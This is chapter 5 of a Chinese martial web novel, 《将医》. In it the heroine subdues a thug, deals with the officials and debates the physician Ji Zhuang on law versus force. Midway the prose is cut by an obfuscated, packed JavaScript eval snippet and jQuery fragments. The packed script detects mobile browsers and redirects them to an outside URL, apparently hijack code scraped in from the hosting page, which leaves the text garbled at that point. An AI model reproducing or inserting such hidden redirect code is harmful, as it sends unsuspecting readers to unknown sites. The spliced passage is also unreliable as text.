5. 第 5 章
作品:《将医》 小厮脸色惨白,愣了好一会儿才发现杜存荀在跟他说话。
杜存荀耐着性子说第二次,“绳子。拿来。”
小厮张着嘴,却发不出声音,只点点头,然后脚步慌乱摸着墙进后厨去拿麻绳。
小厮走后,周围便安静下来。霍景心里打鼓,小心翼翼撑开一条眼缝,谁知杜存荀就等他这一招,手抓一截凳子腿看准时机朝他脑袋预备再来一棒,然而凳子腿还没落下,霍景吓得整个人直接从地上弹了起来。
赶来的小厮被他突然诈尸吓了一大跳,将麻绳一扔连滚带爬退得老远。杜存荀慢悠悠扬臂,朝霍景膝盖就是迅疾有力的一棍下去。
看客眼睁睁看着本就残缺的凳子腿又裂成两半,稍一走神再回神,已见杜存荀冷脸将霍景手脚都绑好。
霍景全身动弹不得,咬牙切齿啐了她一口痰,“你这刁蛮泼妇!”
唾沫腥臭,杜存荀强忍恶心徒手撕下沾上唾沫的半截衣袖,卷成一团,掐着霍景的脸一股脑全塞进了他嘴里,恨不得顺着喉咙将他肠子都堵住,“刁蛮泼妇又如何,但凡你害我丢了这份差事,我把你祖宗的棺材挖出来埋了你......”
剩下的难听狠话还来不及放,就感觉有道目光黏在背后怪不自在,杜存荀转身,只见季庄直愣愣看着她,一头青丝披散胸前肩后,凌乱不堪,素白衣袍灰尘和血迹交杂,落魄又狼狈。
杜存荀轻咳一声,“......我吓唬他呢。我是良民。”
季庄没说什么,移开了眼。
杜存荀见他没说什么,视线随即移向明和堂掌柜。掌柜哆哆嗦嗦从柜台后走出,绕过地上的霍景走过来,“姑娘找我?”
“你把外面的人都赶走。”杜存荀瞥一眼周围踮起脚看热闹的百姓,“这么多人看着,不嫌丢脸?”
方才的打斗,掌柜都看在眼里,知道杜存荀是个不好惹的主儿,生怕她兴师问罪,怪他没有出手相助,听了这话,心中大石落地,乖乖照做,带上小厮走到门口开始赶人,“已经报官了,没事了,大家都散了吧,别看了……”
季庄找了一张还算完好的椅子坐下,慢慢喘气休息。杜存荀从邻桌顺来一支竹筷,用衣袖擦了擦,递给他,“先用这个应付一阵吧。”
季庄接过,苍白无血色的双唇轻启,“多谢。”
接过竹筷要往后束发,双臂却酸痛不能举,杜存荀于是又取回那支竹筷,绕至他身后,干净利落替他盘了一个简单发髻。
阻止已来不及,季庄低头,轻声,“多谢姑娘。”
杜存荀见季庄并不如那她所想的那么拘于礼节,又开口问他来龙去脉。
此时掌柜已经将看热闹的百姓劝走,只留了一扇门供人出入,季庄看过一圈,见好事者已然尽数离开,这才抬手朝一个方向指了指,“他对那姑娘动手,还要把她带走。”
杜存荀顺着季庄目光看过去,才发现一女子缩在门后的角落里抽噎,白皙的脸上甚至还有个鲜红的巴掌印。
杜存荀正欲细问事情经过,就听脚步声错杂。一队官兵赶过来,陆辰竹混在其中,跑得满头大汗。
官兵看着两边都伤得不轻,便问是怎么回事。霍景被赶来的官兵松了绑,嘴里的布条也被抽出,于是大喊冤枉。
“她本是我结发妻子,”霍景先发制人,一脸悲愤,“趁我外出,勾结了这白面书生……”
“你……你胡说!”那缩在角落的女子突然站起来,双手攥拳,声音颤抖尖锐。
“我胡说?”霍景一掌拍裂木桌,一瘸一拐走到她面前,声如滚雷,“夏荷,你别不识好歹!”
霍景身形高大,走近了更显得虎背熊腰,夏荷被吓得缩回角落,瞪圆了眼睛重重喘气,再没说话。
杜存荀有些吃惊。她本以为霍景是一时起了色心要强抢民女,不料他还知道人家姑娘姓名。
季庄撑着桌面站起,辩解得十分规矩,“大人,此事因这位姑娘受色徒侵扰而起……”
“你们奸夫□□!少在这给我装!”霍景气势汹汹打断。
杜存荀被霍景恶人先告状的大嗓门吵得心累,奈何顾忌官兵在场不好动手,于是随手拖过一条长椅坐下,眼皮一掀,“让他说完。”
她的声音不紧不慢,像是深谷里的暗河,冰冷幽深,令人不寒而栗。霍景被她波澜不惊的眼神盯了一瞬,身上鸡皮疙瘩密密麻麻,本还想嘴硬两句,张开嘴却发现舌头打结,半晌说不出一句话。
季庄率先打破平静,接着道:“我们只是路过,出手阻止,此前并不相识。请大人明察。”
双方各执一词,官兵索性将所有人连同掌柜都带回了衙门。进衙门问话不过是例行公事,杜存荀一行人没多久就被放了出来。
夏荷出来后一直哭个不停,问什么都不说,自从霍景当众喊出了她姓名,她的泪就没止过。夏家夫妇谢过杜存荀一行人,很快将魂不守舍的夏荷接上了马车。
这场闹剧告一段落,日已西斜,杜存荀三人正要动身回陆府,又被明和堂的掌柜堵住了去路,“这位公子请留步。刚刚你们在我店里共砸坏了两桌三椅……”
杜存荀不等他说完,皱着眉头打断,“我们帮你抓住了霍景,你还要我们赔钱?”
季庄轻咳两声,“掌柜要多少银两?”
杜存荀按住季庄要掏钱的手,不打算让步,“凭什么要我们赔钱?霍景挑起事端在先,应该全由他来赔。”
“无妨,今日之事因我而起,理应我来出钱置办新的桌椅。”季庄只想息事宁人。今日之事算是飞来横祸,掌柜开店也不容易。
“什么叫因你而起?”杜存荀更火大了,冲季庄吼完,又对掌柜放话,“错在霍景,这笔银子我们不会出。”
掌柜专挑软柿子捏,霍景他惹不起,但季庄的心软写在脸上,他就逮着他使劲欺负。她怎么可能让他得逞。
掌柜被杜存荀吓得后退一步,仍不死心看向季庄,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113906|164133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声如蚊蚋,“只要半两银子就够了。”
杜存荀上前一步还要理论,季庄却握住她手腕,示意陆辰竹从药箱里取出一块银,“给掌柜添乱了。”
银子到手,掌柜忙不迭跑了,杜存荀一把甩开季庄的手,“那明和堂里的桌椅一看就是用了许多年的旧物,根本不值钱。等霍景从衙门出来,我必找他要回这半两银子。”
季庄抖抖衣袖,笑道,“不必,就当花钱消灾。谢谢姑娘帮我说话。”
季庄笑时嘴角因为拉扯而渗出了丝丝血迹,杜存荀看了于心不忍,一肚子硬生生咽回肚子里,不再跟他争辩。归根结底,今日季庄挂彩,少不了她一份过错,如果她没有偷溜去找怀武买剑,受伤的只会是霍景。
但比愧疚更强的是不甘心。就算那半两碎银不是从自己口袋里掏出来,杜存荀还是越想越不痛快,最后忍不住责怪季庄,“大夫,你该趁霍景他们出去之后再拦,那样就不用报官了。”
去报官的陆辰竹不明白,仰头问:“为什么不用报官呀?”
“街上的百姓那么多,总会有人去报官。”
陆辰竹没听出什么毛病,不再追问。
杜存荀顺手揉一揉陆辰竹脑袋。她总不能告诉他,只要霍景走出明和堂,她就能悄无声息把他了结。
如此一来,夏荷不必担心自己的名声受污,掌柜不用担惊受怕,官府少一个烦心的惯犯,季庄也能少花半两银子。
一举四得。
季庄却在一旁摇头道:“官府按律法惩处恶人,才是安国的长久之计。”
杜存荀挑眉,“大夫不妨细说。”
他竟然知道她在想什么。
“姜国如今盗匪横行,究其根本,是法度不全、朝廷风气不正之故。”又青又紫的肿眼皮下,季庄眸光沉稳,“天下之大,百姓无辜受欺,并非随时随地都有武功过人之高手出手相助,但每一处都有衙门判是非对错。”
“受难百姓若只依赖于过路侠客出手相助,活命就成了侥幸,盗匪就会更加猖獗。若人人都以拳脚功夫论事,只会助长蛮横之风……”
杜存荀笑着打断,“大夫被山匪绑上山时,衙门可曾派过官兵来救你?”
也许是被戳到了痛处,季庄没再开口。
“大夫说的不错,律法是安国的长久之计。只不过,定法度、正风气、选明官,样样任重道远,并非一人之力一时之功。我与大夫一样,也向往着一个百姓能够安居乐业、政治清明的盛世。”
“但如今姜国内忧外患,人命如草芥,匪寨之首黑风寨都已经建到了晏州城外的山头,你看那皇帝手下还有兵去剿匪吗?”
“当今世道如此。我自认不是朝堂上的栋梁之材,也没那个耐性与粗鄙之人讲理,我只有一身蛮力,也只懂得用刀剑叫人闭嘴。”
“我再奉劝大夫一句,不论是治病还是救人,都要先自保。你若实在看不下去,也是我先出手,轮不到你逞强。”